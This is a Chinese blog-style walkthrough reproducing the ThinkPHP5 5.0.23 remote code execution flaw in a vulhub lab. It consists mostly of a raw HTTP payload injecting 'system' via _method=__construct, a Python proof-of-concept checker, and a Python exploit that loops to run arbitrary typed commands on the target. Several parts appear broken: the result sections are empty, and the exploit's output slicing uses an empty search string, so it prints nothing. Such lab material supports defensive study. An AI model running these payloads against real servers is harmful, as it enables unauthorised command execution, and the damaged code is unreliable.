ThinkPHP5 5.0.23 远程代码执行漏洞复现，python编写POC和EXP

环境搭建：

使用vulhub，进入对应文件夹启动环境：

[root@localhost ~]# cd /home/vulhub/thinkphp/5.0.23-rce/
[root@localhost 5.0.23-rce]# docker-compose up -d

查看端口：

[root@localhost 5.0.23-rce]# docker ps
CONTAINER ID   IMAGE                    COMMAND                  CREATED         STATUS         PORTS                                   NAMES

[root@localhost 5.0.23-rce]# 

漏洞复现：

发送如下数据包：

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.10.10
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

POC编写：

import requests


url = "http://192.168.10.10:8080/"

bug = "index.php?s=captcha"
bug_data = {"_method": "__construct", "filter[]": "system", "method": "get", "server[REQUEST_METHOD]": "echo wwwq|md5sum"}
res = requests.post(url + bug,  data=bug_data)
if "c0f07f528bbb4eed25c97370610a7c8e" in res.text: #  wwwq  的 md5  值
    print("ThinkPHP5 5.0.23 远程代码执行漏洞存在")

pycharm运行结果：

EXP编写：

import requests,re


url = "http://192.168.10.10:8080/"

bug = "index.php?s=captcha"
bug_data = {"_method": "__construct", "filter[]": "system", "method": "get", "server[REQUEST_METHOD]": "echo wwwq|md5sum"}
res = requests.post(url + bug,  data=bug_data)
if "c0f07f528bbb4eed25c97370610a7c8e" in res.text: #  wwwq  的 md5  值
    print("ThinkPHP5 5.0.23 远程代码执行漏洞存在")

    while 1:
        bug_data["server[REQUEST_METHOD]"] = input("请输入你要执行的命令：")  # 替换输入的命令
        exp_res = requests.post(url + bug, data=bug_data)
        num = exp_res.text.index("")  # 获取这个头的下标
        print(exp_res.text[0:num])  # 打印从 0 到这个 num 下标间的内容

pycharm运行结果：
